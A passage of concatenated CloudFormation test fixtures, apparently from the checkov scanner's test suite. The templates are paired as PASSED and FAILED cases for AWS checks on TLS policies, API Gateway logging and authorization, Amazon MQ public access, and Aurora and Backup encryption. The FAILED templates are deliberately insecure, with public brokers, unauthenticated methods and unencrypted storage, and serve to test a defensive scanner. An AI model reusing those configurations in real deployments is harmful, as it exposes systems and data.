- CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 53 Protocol: TCP_UDP DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 53 Protocol: TCP_UDP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TLS.yaml ================================================ Description: > This template deploys an NLB with TLS termination Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Resources: LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: 'network' Subnets: !Ref Subnets ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 443 Protocol: TLS DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-UDP.yaml ================================================ Description: > This template deploys an NLB with TLS termination Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Resources: LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: 'network' Subnets: !Ref Subnets ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 53 Protocol: UDP DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 53 Protocol: UDP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-redirect.yaml ================================================ Description: > This template deploys an Application Load Balancer Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: #ALBSecurityGroup: # Type: 'AWS::EC2::SecurityGroup' # Properties: # GroupDescription: 'checkov-alb-test' # VpcId: !Ref VPC # SecurityGroupIngress: # - Description: 'HTTP Ingress' # IpProtocol: tcp # FromPort: 80 # ToPort: 80 # CidrIp: 0.0.0.0/0 # - Description: 'HTTPS Ingress' # IpProtocol: tcp # FromPort: 443 # ToPort: 443 # CidrIp: 0.0.0.0/0 LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Subnets: !Ref Subnets SecurityGroups: - !Ref SecurityGroup #- !Ref ALBSecurityGroup ListenerHTTP: Type: "AWS::ElasticLoadBalancingV2::Listener" Properties: DefaultActions: - RedirectConfig: Host: '#{host}' Path: '/#{path}' Port: '443' Protocol: HTTPS StatusCode: HTTP_302 Type: redirect LoadBalancerArn: !Ref LoadBalancer Port: 80 Protocol: HTTP ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 443 Protocol: HTTPS DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: > This template deploys an Application Load Balancer Parameters: Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Resources: ApplicationLoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: application Subnets: !Ref Subnets SecurityGroups: - sg-1234567 ListenerHTTPSFAILED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 443 Protocol: HTTPS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-2016-08 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerHTTPSFAILED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 443 Protocol: HTTPS Certificates: - CertificateArn: test-cert DefaultActions: - Type: forward TargetGroupArn: default-target-group NetworkLoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: network Subnets: !Ref Subnets ListenerTLSFAILED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-2016-08 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerTLSFAILED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS SslPolicy: ELBSecurityPolicy-TLS13-1-1-2021-06 Certificates: - CertificateArn: test-cert DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerTLSFAILED3: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS Certificates: - CertificateArn: test-cert DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerHTTPFAILED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: HTTP Certificates: - CertificateArn: test-cert ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.2-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: > This template deploys an Application Load Balancer Parameters: Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List UseHttps: Description: If HTTPS is used Type: String Conditions: IsHttps: Fn::Equals: - !Ref UseHttps - 'true' Resources: ApplicationLoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: application Subnets: !Ref Subnets SecurityGroups: - sg-1234567 ListenerHTTPSPASSED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 443 Protocol: HTTPS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerHTTPPASSED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 80 Protocol: HTTP DefaultActions: - Type: redirect RedirectConfig: Host: "localhost" Path: "/images" Port: "443" Protocol: "HTTPS" Query: "query" StatusCode: HTTP_301 ListenerHTTPUnknown: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 80 Protocol: HTTP DefaultActions: !If - IsHttps - - Type: "redirect" RedirectConfig: Protocol: "HTTPS" Port: 443 Path: "/" StatusCode: "HTTP_301" - - TargetGroupArn: default-target-group Type: forward NetworkLoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: network Subnets: !Ref Subnets ListenerTLSPASSED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerTLSPASSED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-TLS13-1-2-Ext2-2021-06 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerTLSPASSED3: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TLS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-TLS13-1-3-2021-06 DefaultActions: - Type: forward TargetGroupArn: default-target-group ListenerTCPPASSED4: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref NetworkLoadBalancer Port: 443 Protocol: TCP DefaultActions: - Type: forward TargetGroupArn: default-target-group ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListenerTLS12/ALBListenerTLS1.3-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: > This template deploys an Application Load Balancer Parameters: Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List UseHttps: Description: If HTTPS is used Type: String Conditions: IsHttps: Fn::Equals: - !Ref UseHttps - 'true' Resources: ApplicationLoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: application Subnets: !Ref Subnets SecurityGroups: - sg-1234567 ListenerHTTPSPASS13: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref ApplicationLoadBalancer Port: 443 Protocol: HTTPS Certificates: - CertificateArn: test-cert SslPolicy: ELBSecurityPolicy-TLS13-1-3-2021-06 DefaultActions: - Type: forward TargetGroupArn: default-target-group ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/APIGatewayAccessLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: AWS::ApiGateway::Stage Properties: StageName: Prod Description: Prod Stage RestApiId: MyRestApi DeploymentId: TestDeployment DocumentationVersion: MyDocumentationVersion ClientCertificateId: ClientCertificate Variables: Stack: Prod MethodSettings: - ResourcePath: / HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false - ResourcePath: /stack HttpMethod: POST MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 999 - ResourcePath: /stack HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 555 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/APIGatewayAccessLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::ApiGateway::Stage Properties: StageName: Prod Description: Prod Stage RestApiId: MyRestApi DeploymentId: TestDeployment DocumentationVersion: MyDocumentationVersion ClientCertificateId: ClientCertificate Variables: Stack: Prod MethodSettings: - ResourcePath: / HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false - ResourcePath: /stack HttpMethod: POST MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 999 - ResourcePath: /stack HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 555 AccessLogSetting: DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group' Format: >- {"requestId":"$context.requestId", "ip": "$context.identity.sourceIp", "caller":"$context.identity.caller", "user":"$context.identity.user","requestTime":"$context.requestTime", "eventType":"$context.eventType","routeKey":"$context.routeKey", "status":"$context.status","connectionId":"$context.connectionId"} ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayAccessLogging/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Api Properties: StageName: prod AccessLogSetting: DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group' Default: Type: AWS::Serverless::Api Properties: StageName: prod ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayAuthorization/APIGatewayAuthorization-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyMethod0: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: GET AuthorizationType: NONE MyMethod1: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: POST AuthorizationType: NONE ApiKeyRequired: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayAuthorization/APIGatewayAuthorization-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyMethod0: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: OPTIONS AuthorizationType: NONE MyMethod1: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: GET AuthorizationType: AWS_IAM MyMethod2: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: GET AuthorizationType: CUSTOM AuthorizerId: MyAuthorizerID MyMethod3: Type: 'AWS::ApiGateway::Method' Properties: RestApiId: MyAPIID ResourceId: MyResourceID HttpMethod: GET AuthorizationType: NONE ApiKeyRequired: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: CacheDefault: Type: AWS::ApiGateway::Stage Properties: StageName: test Description: test RestApiId: test DeploymentId: test CacheFalse: Type: AWS::ApiGateway::Stage Properties: StageName: test Description: test RestApiId: test CacheClusterEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: CacheTrue: Type: AWS::ApiGateway::Stage Properties: StageName: test Description: test RestApiId: test DeploymentId: test CacheClusterEnabled: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayCacheEnable/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Api Properties: StageName: prod CacheClusterEnabled: true Default: Type: AWS::Serverless::Api Properties: StageName: prod Disabled: Type: AWS::Serverless::Api Properties: StageName: prod CacheClusterEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/APIGatewayV2AccessLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: AWS::ApiGatewayV2::Stage Properties: StageName: Prod Description: Prod Stage DeploymentId: MyDeployment ApiId: CFNWebSocket DefaultRouteSettings: DetailedMetricsEnabled: true LoggingLevel: INFO DataTraceEnabled: false ThrottlingBurstLimit: 10 ThrottlingRateLimit: 10 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/APIGatewayV2AccessLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::ApiGatewayV2::Stage Properties: StageName: Prod Description: Prod Stage DeploymentId: MyDeployment ApiId: CFNWebSocket DefaultRouteSettings: DetailedMetricsEnabled: true LoggingLevel: INFO DataTraceEnabled: false ThrottlingBurstLimit: 10 ThrottlingRateLimit: 10 AccessLogSettings: DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group' Format: >- {"requestId":"$context.requestId", "ip": "$context.identity.sourceIp", "caller":"$context.identity.caller", "user":"$context.identity.user","requestTime":"$context.requestTime", "eventType":"$context.eventType","routeKey":"$context.routeKey", "status":"$context.status","connectionId":"$context.connectionId"} ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayV2AccessLogging/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::HttpApi Properties: StageName: prod AccessLogSettings: DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group' Default: Type: AWS::Serverless::HttpApi Properties: StageName: prod ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayXray/APIGatewayXray-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Disabled: Type: AWS::ApiGateway::Stage Properties: StageName: Prod Description: Prod Stage RestApiId: MyRestApi DeploymentId: TestDeployment DocumentationVersion: MyDocumentationVersion ClientCertificateId: ClientCertificate TracingEnabled: false Variables: Stack: Prod MethodSettings: - ResourcePath: / HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false - ResourcePath: /stack HttpMethod: POST MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 999 - ResourcePath: /stack HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 555 Default: Type: AWS::ApiGateway::Stage Properties: StageName: Prod Description: Prod Stage RestApiId: MyRestApi DeploymentId: TestDeployment DocumentationVersion: MyDocumentationVersion ClientCertificateId: ClientCertificate Variables: Stack: Prod MethodSettings: - ResourcePath: / HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false - ResourcePath: /stack HttpMethod: POST MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 999 - ResourcePath: /stack HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 555 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: AWS::ApiGateway::Stage Properties: StageName: Prod Description: Prod Stage RestApiId: MyRestApi DeploymentId: TestDeployment DocumentationVersion: MyDocumentationVersion ClientCertificateId: ClientCertificate TracingEnabled: true Variables: Stack: Prod MethodSettings: - ResourcePath: / HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false - ResourcePath: /stack HttpMethod: POST MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 999 - ResourcePath: /stack HttpMethod: GET MetricsEnabled: true DataTraceEnabled: false ThrottlingBurstLimit: 555 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_APIGatewayXray/sam.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 Resources: Enabled: Type: AWS::Serverless::Api Properties: StageName: prod TracingEnabled: true Default: Type: AWS::Serverless::Api Properties: StageName: prod Disabled: Type: AWS::Serverless::Api Properties: StageName: prod TracingEnabled: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-FAILED-1.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility Parameters: AmazonMqPassword: Type: String NoEcho: true AmazonMqUsername: Type: String Resources: PublicBroker0: Type: 'AWS::AmazonMQ::Broker' Properties: AutoMinorVersionUpgrade: false BrokerName: MyComplexRabbitBroker-Yes DeploymentMode: SINGLE_INSTANCE EngineType: RABBITMQ EngineVersion: 3.8.6 HostInstanceType: mq.t3.micro Logs: General: true MaintenanceWindowStartTime: DayOfWeek: Monday TimeOfDay: '22:45' TimeZone: America/Los_Angeles PubliclyAccessible: Yes SubnetIds: - 'subnet-0a66efd758816811b' Users: - Password: !Ref AmazonMqPassword Username: !Ref AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility Parameters: AmazonMqPassword: Type: String NoEcho: true AmazonMqUsername: Type: String Resources: PublicBroker1: Type: 'AWS::AmazonMQ::Broker' Properties: AutoMinorVersionUpgrade: false BrokerName: MyComplexRabbitBroker-Yes DeploymentMode: SINGLE_INSTANCE EngineType: RABBITMQ EngineVersion: 3.8.6 HostInstanceType: mq.t3.micro Logs: General: true MaintenanceWindowStartTime: DayOfWeek: Monday TimeOfDay: '22:45' TimeZone: America/Los_Angeles PubliclyAccessible: true SubnetIds: - 'subnet-0a66efd758816811b' Users: - Password: !Ref AmazonMqPassword Username: !Ref AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-PASSED-1.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility Parameters: AmazonMqPassword: Type: String NoEcho: true AmazonMqUsername: Type: String Resources: PrivateBroker0: Type: 'AWS::AmazonMQ::Broker' Properties: AutoMinorVersionUpgrade: false BrokerName: MyComplexRabbitBroker-Yes DeploymentMode: SINGLE_INSTANCE EngineType: RABBITMQ EngineVersion: 3.8.6 HostInstanceType: mq.t3.micro Logs: General: true MaintenanceWindowStartTime: DayOfWeek: Monday TimeOfDay: '22:45' TimeZone: America/Los_Angeles PubliclyAccessible: No SubnetIds: - 'subnet-0a66efd758816811b' Users: - Password: !Ref AmazonMqPassword Username: !Ref AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AmazonMQBrokerPublicAccess/AmazonMQBrokerPublicAccess-PASSED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Create a single-instance Amazon MQ for RabbitMQ broker without public accessibility Parameters: AmazonMqPassword: Type: String NoEcho: true AmazonMqUsername: Type: String Resources: PrivateBroker1: Type: 'AWS::AmazonMQ::Broker' Properties: AutoMinorVersionUpgrade: false BrokerName: MyComplexRabbitBroker-Yes DeploymentMode: SINGLE_INSTANCE EngineType: RABBITMQ EngineVersion: 3.8.6 HostInstanceType: mq.t3.micro Logs: General: true MaintenanceWindowStartTime: DayOfWeek: Monday TimeOfDay: '22:45' TimeZone: America/Los_Angeles PubliclyAccessible: false SubnetIds: - 'subnet-0a66efd758816811b' Users: - Password: !Ref AmazonMqPassword Username: !Ref AmazonMqUsername ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AppSyncFieldLevelLogs/template.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: # pass All: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "example" AuthenticationType: "API_KEY" LogConfig: CloudWatchLogsRoleArn: "iam_role_arn" FieldLogLevel: "ERROR" Error: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "example" AuthenticationType: "API_KEY" LogConfig: CloudWatchLogsRoleArn: "iam_role_arn" FieldLogLevel: "ERROR" # fail None: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "example" AuthenticationType: "API_KEY" LogConfig: CloudWatchLogsRoleArn: "iam_role_arn" FieldLogLevel: "NONE" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AppSyncLogging/template.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: # pass Enabled: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "example" AuthenticationType: "API_KEY" LogConfig: CloudWatchLogsRoleArn: "iam_role_arn" FieldLogLevel: "ERROR" # fail Default: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "example" AuthenticationType: "API_KEY" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/AthenaWorkgroupConfiguration-FAIL.yaml ================================================ Resources: MyAthenaWorkGroup0: Type: AWS::Athena::WorkGroup Properties: Name: MyCustomWorkGroup Description: My WorkGroup State: ENABLED Tags: - Key: "key1" Value: "value1" - Key: "key2" Value: "value2" WorkGroupConfiguration: BytesScannedCutoffPerQuery: 200000000 EnforceWorkGroupConfiguration: false PublishCloudWatchMetricsEnabled: false RequesterPaysEnabled: true ResultConfiguration: OutputLocation: s3://path/to/my/bucket/ MyAthenaWorkGroup1: Type: AWS::Athena::WorkGroup Properties: Name: MyCustomWorkGroup Description: My WorkGroup State: ENABLED Tags: - Key: "key1" Value: "value1" - Key: "key2" Value: "value2" WorkGroupConfiguration: BytesScannedCutoffPerQuery: 200000000 PublishCloudWatchMetricsEnabled: false RequesterPaysEnabled: true ResultConfiguration: OutputLocation: s3://path/to/my/bucket/ ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AthenaWorkgroupConfiguration/AthenaWorkgroupConfiguration-PASSED.yaml ================================================ Resources: MyAthenaWorkGroup: Type: AWS::Athena::WorkGroup Properties: Name: MyCustomWorkGroup Description: My WorkGroup State: ENABLED Tags: - Key: "key1" Value: "value1" - Key: "key2" Value: "value2" WorkGroupConfiguration: BytesScannedCutoffPerQuery: 200000000 EnforceWorkGroupConfiguration: true PublishCloudWatchMetricsEnabled: false RequesterPaysEnabled: true ResultConfiguration: OutputLocation: s3://path/to/my/bucket/ ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-FAIL.yaml ================================================ Resources: Aurora0: Type: 'AWS::RDS::DBCluster' Properties: DatabaseName: 'mydb' Engine: 'aurora' Aurora1: Type: 'AWS::RDS::DBCluster' Properties: DatabaseName: 'mydb' Engine: 'aurora' StorageEncrypted: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-PASSED.yaml ================================================ Resources: Aurora0: Type: 'AWS::RDS::DBCluster' Metadata: cfn-lint: config: ignore_checks: - E3690 Properties: DatabaseName: 'mydb2' Engine: 'aurora' StorageEncrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_AuroraEncryption/AuroraEncryption-UNKNOWN.yaml ================================================ Resources: Aurora0: Type: 'AWS::RDS::DBCluster' Properties: DatabaseName: 'mydb' Engine: 'aurora' SnapshotIdentifier: 'SnapshotIdentifier' Aurora1: Type: 'AWS::RDS::DBCluster' Properties: DatabaseName: 'mydb' Engine: 'aurora' SourceDBClusterIdentifier: 'SourceDBClusterIdentifier' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_BackupVaultEncrypted/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Fail: Type: AWS::Backup::BackupVault Properties: BackupVaultName: test ================================================ FILE: tests/cloudformation/checks/resource/aws/example_BackupVaultEncrypted/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::Backup::BackupVault Properties: BackupVaultName: test EncryptionKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab ================================================ FILE: tests/cloudformation/checks/resource/aws/example_BedrockAgentEncrypted/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Fail: Type: AWS::Bedrock::Agent Properties: AgentName: test ================================================ FILE: tests/cloudformation/checks/resource/aws/example_BedrockAgentEncrypted/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::Bedrock::Agent Properties: AgentName: test CustomerEncryptionKeyArn: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab ================================================ FILE: 